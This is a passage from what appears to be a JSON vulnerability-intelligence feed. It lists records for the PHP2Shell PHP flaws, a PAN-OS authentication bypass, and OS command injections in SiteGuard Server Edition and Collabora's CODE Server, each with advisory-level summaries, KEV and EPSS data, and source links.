fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619) (updated)","url":"https://www.jpcert.or.jp/at/2026/at260033.html","type":"primary","publishedAt":"2026-10-26T07:25:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"The Hacker News: PHP2Shell Exploit Attempts Hit Millions as Attackers Try to Deploy Mirai Malware","url":"https://thehackernews.com/2026/10/php2shell-exploit-attempts-hit-millions.html","type":"reporting","publishedAt":"2026-10-23T07:40:45.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"The Hacker News: PHP2Shell Exploitation Attempts Continue Amid Suspected N. Korea Global Scanning Activity","url":"https://thehackernews.com/2026/10/php2shell-exploitation-hits-government.html","type":"reporting","publishedAt":"2026-10-25T17:19:46.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News: Someone Tried to Exploit PHP2Shell 4 Days Before the Vulnerabilities Were Publicly Disclosed","url":"https://thehackernews.com/2026/10/someone-tried-to-exploit-php2shell-4.html","type":"reporting","publishedAt":"2026-10-22T06:34:10.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News: PHP Issues Emergency Patches for Two Critical PHP2Shell RCE Flaws as Exploit Attempts Emerge","url":"https://thehackernews.com/2026/10/php-issues-emergency-patches-for-two.html","type":"reporting","publishedAt":"2026-10-21T14:00:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News: PHP2Shell: What Actually Protects You Before the 14:00 UTC PHP RCE Patch, and What Doesn't","url":"https://thehackernews.com/2026/10/php2shell-what-actually-protects-you.html","type":"reporting","publishedAt":"2026-10-21T10:36:53.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News: PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert","url":"https://thehackernews.com/2026/10/php2shell-two-unpatched-critical-php.html","type":"reporting","publishedAt":"2026-10-21T09:05:17.000Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"SecurityWeek: Industrial Vendors Check Products for PHP2Shell Vulnerabilities","url":"https://www.securityweek.com/industrial-vendors-check-products-for-php2shell-vulnerabilities/","type":"reporting","publishedAt":"2026-10-26T14:52:14.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"SecurityWeek syndication feed","url":"https://www.securityweek.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"SecurityWeek: PHP2Shell Exploitation Moves From Probes to Working Shells","url":"https://www.securityweek.com/php2shell-exploitation-moves-from-probes-to-working-shells/","type":"reporting","publishedAt":"2026-10-26T13:30:10.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"SecurityWeek: Mirai Botnet Operators Join PHP2Shell Attacks as ASLR Bypass Exploits Emerge","url":"https://www.securityweek.com/mirai-botnet-operators-join-php2shell-attacks-as-aslr-bypass-exploits-emerge/","type":"reporting","publishedAt":"2026-10-23T12:45:52.000Z","checkedAt":"2026-10-26T14:50:56.006Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Record (Recorded Future News): Reports of PHP bug exploitation attempts grow as experts downplay viability of exploits","url":"https://therecord.media/php-php2shell-exploitation-attempts-pocs","type":"reporting","publishedAt":"2026-10-23T04:00:00.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Record (Recorded Future News) syndication feed","url":"https://therecord.media/feed","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"WIRED Security: Hackers Exploited the PHP Vulnerabilities Days Before They Were Patched","url":"https://www.wired.com/story/hackers-exploited-the-php-vulnerabilities-days-before-they-were-patched/","type":"reporting","publishedAt":"2026-10-22T02:24:17.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"WIRED Security syndication feed","url":"https://www.wired.com/feed/category/security/latest/rss","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109619&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109619, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115560","cveId":"CVE-2026-115560","aliases":["PHP2Shell","php2shell"],"kind":"vulnerability","title":"PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert","summary":"The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.\n\n Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.\n\n Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.\n\n Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. \n\n The disruption put the National Security Agency and Europe's cybersecurity agency on alert.\n\n State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.\n\n What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery \"one of the most impactful security issues in recent memory.\"\n\n \"To our knowledge, frontier AI found these vulnerabilities before attackers did,\" OpenAI said.\n\n The cybersecurity firm Wiz wrote in a blog post : \"These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history.\"\n\n Read more below. \n\n What is PHP?\n\n You've probably never heard of PHP, even though you've interacted with it for decades.\n\n PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.\n\n It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.\n\n It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. \n\n How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.\n\n What was the PHP vulnera","detail":"The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.\n\n Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.\n\n Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.\n\n Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. \n\n The disruption put the National Security Agency and Europe's cybersecurity agency on alert.\n\n State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.\n\n What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery \"one of the most impactful security issues in recent memory.\"\n\n \"To our knowledge, frontier AI found these vulnerabilities before attackers did,\" OpenAI said.\n\n The cybersecurity firm Wiz wrote in a blog post : \"These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history.\"\n\n Read more below. \n\n What is PHP?\n\n You've probably never heard of PHP, even though you've interacted with it for decades.\n\n PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.\n\n It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.\n\n It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. \n\n How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.\n\n What was the PHP vulnerability, exactly?\n\n AI researchers discovered two critical vulnerabilities in PHP that could allow an attacker to take control of a website's server without having legitimate access to it.\n\n Hackers could exploit the flaws, dubbed \" php2shell \" by cybersecurity firms, to steal information from those websites.\n\n Between the lines: The flaws went undetected for more than a decade because exploiting them required complex technical work that AI helped researchers discover, per Wiz.\n\n Why cybersecurity incidents are a big deal\n\n Thought bubble via Axios' Bradley Olson : The PHP vulnerabilities are so serious that the NSA warned website operators to take their sites down if they didn't have enough time to patch the bug.\n\n But the cybersecurity problems in recent days have extended far beyond that and include disruptions to developer platforms, data leaks on public schools, break-ins at public companies and more.\n\n A major Axios scoop also revealed that banks are detecting unauthorized third-party agent access inside customer accounts, a problem they are racing to contain.\n\n Cyber pros are calling the series of attacks \"Black October\" due to the sheer volume and the level of risk, although so far many organizations have mitigated the risk and avoided massive real-world harm.\n\n While defenders and AI companies have warned for months that a season of cyber emergencies would imminently arrive, they have also been working to secure some of the obscure software that still underpins much of the modern internet ecosystem.\n\n The bottom line: As attacks continue, experts have urged users to secure passwords, use a password manager and also to avoid panic.\n\n As with any cyber emergency, the true barometer of harm is the extent to which damage seeps into the real world, as it has done with ransomware that took hospital software offline or a pipeline system that disrupted fuel supplies briefly on the East Coast.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T18:01:31.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["PHP"],"knownExploited":true,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Axios: Black October: why bugs discovered by OpenAI tech are creating a cyber emergency","url":"https://www.axios.com/2026/10/22/php-vulnerability-security-update-websites","type":"reporting","publishedAt":"2026-10-22T18:01:31.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"Axios syndication feed","url":"https://api.axios.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"The Hacker News: Someone Tried to Exploit PHP2Shell 4 Days Before the Vulnerabilities Were Publicly Disclosed","url":"https://thehackernews.com/2026/10/someone-tried-to-exploit-php2shell-4.html","type":"reporting","publishedAt":"2026-10-22T06:34:10.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"The Hacker News: PHP2Shell Exploitation Attempts Continue Amid Suspected N. Korea Global Scanning Activity","url":"https://thehackernews.com/2026/10/php2shell-exploitation-hits-government.html","type":"reporting","publishedAt":"2026-10-25T17:19:46.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News: PHP Warns of Another Unpatched RCE Risk Two Days After Emergency PHP2Shell Patches","url":"https://thehackernews.com/2026/10/urgent-php-warns-of-another-unpatched.html","type":"reporting","publishedAt":"2026-10-23T11:25:43.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News: PHP Issues Emergency Patches for Two Critical PHP2Shell RCE Flaws as Exploit Attempts Emerge","url":"https://thehackernews.com/2026/10/php-issues-emergency-patches-for-two.html","type":"reporting","publishedAt":"2026-10-21T14:00:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News: PHP2Shell: What Actually Protects You Before the 14:00 UTC PHP RCE Patch, and What Doesn't","url":"https://thehackernews.com/2026/10/php2shell-what-actually-protects-you.html","type":"reporting","publishedAt":"2026-10-21T10:36:53.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News: PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert","url":"https://thehackernews.com/2026/10/php2shell-two-unpatched-critical-php.html","type":"reporting","publishedAt":"2026-10-21T09:05:17.000Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"SecurityWeek: Industrial Vendors Check Products for PHP2Shell Vulnerabilities","url":"https://www.securityweek.com/industrial-vendors-check-products-for-php2shell-vulnerabilities/","type":"reporting","publishedAt":"2026-10-26T14:52:14.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"SecurityWeek syndication feed","url":"https://www.securityweek.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"SecurityWeek: PHP2Shell Exploitation Moves From Probes to Working Shells","url":"https://www.securityweek.com/php2shell-exploitation-moves-from-probes-to-working-shells/","type":"reporting","publishedAt":"2026-10-26T13:30:10.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"SecurityWeek: Mirai Botnet Operators Join PHP2Shell Attacks as ASLR Bypass Exploits Emerge","url":"https://www.securityweek.com/mirai-botnet-operators-join-php2shell-attacks-as-aslr-bypass-exploits-emerge/","type":"reporting","publishedAt":"2026-10-23T12:45:52.000Z","checkedAt":"2026-10-26T14:50:56.006Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Record (Recorded Future News): Reports of PHP bug exploitation attempts grow as experts downplay viability of exploits","url":"https://therecord.media/php-php2shell-exploitation-attempts-pocs","type":"reporting","publishedAt":"2026-10-23T04:00:00.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Record (Recorded Future News) syndication feed","url":"https://therecord.media/feed","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"WIRED Security: Hackers Exploited the PHP Vulnerabilities Days Before They Were Patched","url":"https://www.wired.com/story/hackers-exploited-the-php-vulnerabilities-days-before-they-were-patched/","type":"reporting","publishedAt":"2026-10-22T02:24:17.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"WIRED Security syndication feed","url":"https://www.wired.com/feed/category/security/latest/rss","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0257","cveId":"CVE-2026-0257","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Authentication Bypass Vulnerability","summary":"Ravie Lakshmanan reports: Palo Alto Networks has disclosed that it’s continuing to observe exploitation of a now-patched security flaw impacting PAN-OS and Prisma Access by ransomware actors. The activity relates to CVE-2026-0257 (CVSS score: 7.8), an authentication bypass flaw that could be exploited by bad actors to set up unauthorized VPN connections. It was patched...\n Source","detail":"Ravie Lakshmanan reports: Palo Alto Networks has disclosed that it’s continuing to observe exploitation of a now-patched security flaw impacting PAN-OS and Prisma Access by ransomware actors. The activity relates to CVE-2026-0257 (CVSS score: 7.8), an authentication bypass flaw that could be exploited by bad actors to set up unauthorized VPN connections. It was patched...\n Source\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-20T16:08:24.000Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","PAN-OS","pan-os"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-29","dueAt":"2026-06-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N/E:A/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:D/RE:M/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0257","asOf":"2026-10-26T14:10:00.130Z"},"epss":{"probability":0.95012,"percentile":0.99861,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-0257&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"DataBreaches.net: Qilin and INC Ransomware Groups Exploit Palo Alto Networks Flaw to Bypass MFA","url":"https://databreaches.net/2026/10/20/qilin-and-inc-ransomware-groups-exploit-palo-alto-networks-flaw-to-bypass-mfa/","type":"reporting","publishedAt":"2026-10-20T16:08:24.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"DataBreaches.net syndication feed","url":"https://databreaches.net/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"NVD CVE-2026-0257","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0257","type":"primary","publishedAt":"2026-05-13T19:17:01.040Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0257","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-0257","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-0257 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-0257&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-0257, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106931","cveId":"CVE-2026-106931","aliases":[],"kind":"vulnerability","title":"EG Secure Solutions SiteGuard Server Edition OS Command Injection Vulnerability","summary":"EG Secure Solutions SiteGuard Server Edition contains an OS command injection vulnerability which may allow an attacker to execute arbitrary OS commands with root or SYSTEM privileges on the system running the affected product.","detail":"CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-20","updatedAt":"2026-10-21T15:42:24.590Z","regions":["Global","Japan"],"vendor":"EG Secure Solutions","product":"SiteGuard Server Edition","stacks":["EG Secure Solutions","SiteGuard Server Edition","siteguard"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-20","dueAt":"2026-10-23","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106931","asOf":"2026-10-21T15:42:24.590Z"},"epss":{"probability":0.02528,"percentile":0.8478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-106931","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-106931 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"JPCERT/CC Japan Advisories: Security alert: OS command injection vulnerability in SiteGuard Server Edition (CVE-2026-106931) (published)","url":"https://www.jpcert.or.jp/at/2026/at260032.html","type":"primary","publishedAt":"2026-10-14T05:18:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"NVD CVE-2026-106931","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106931","type":"primary","publishedAt":"2026-10-14T05:16:42.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.eg-secure.co.jp/siteguard/news/alert-202610-1","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110447","cveId":"CVE-2026-110447","aliases":[],"kind":"vulnerability","title":"Collabora Online – Built-in CODE Server OS Command Injection Vulnerability","summary":"Collabora Online Built-in CODE Server before 26.4.303 (richdocumentscode), a Nextcloud app, allows remote code execution, as exploited in the wild in September and October 2026, a different vulnerability than CVE-2025-66208. This is an OS command injection in proxy.php when the CODE server isn't running (e.g., the product was recently restarted). The vulnerability is not present in standalone Collabora Online servers; only this deployment with CODE Server is affected.","detail":"Collabora Online Built-in CODE Server before 26.4.303 (richdocumentscode), a Nextcloud app, allows remote code execution, as exploited in the wild in September and October 2026, a different vulnerability than CVE-2025-66208. This is an OS command injection in proxy.php when the CODE server isn't running (e.g., the product was recently restarted). The vulnerability is not present in standalone Collabora Online servers; only this deployment with CODE Server is affected.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:20.683Z","updatedAt":"2026-10-26T16:48:12.087Z","regions":["Global"],"vendor":"collabora","product":"online","stacks":["Collabora and Nextcloud","Collabora","Collabora Online – Built-in CODE Server","online"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-23","dueAt":"2026-10-26","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110447","asOf":"2026-10-26T16:48:12.087Z"},"epss":{"probability":0.12328,"percentile":0.96163,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110447&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110447","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110447","type":"primary","publishedAt":"2026-10-14T03:17:20.683Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, 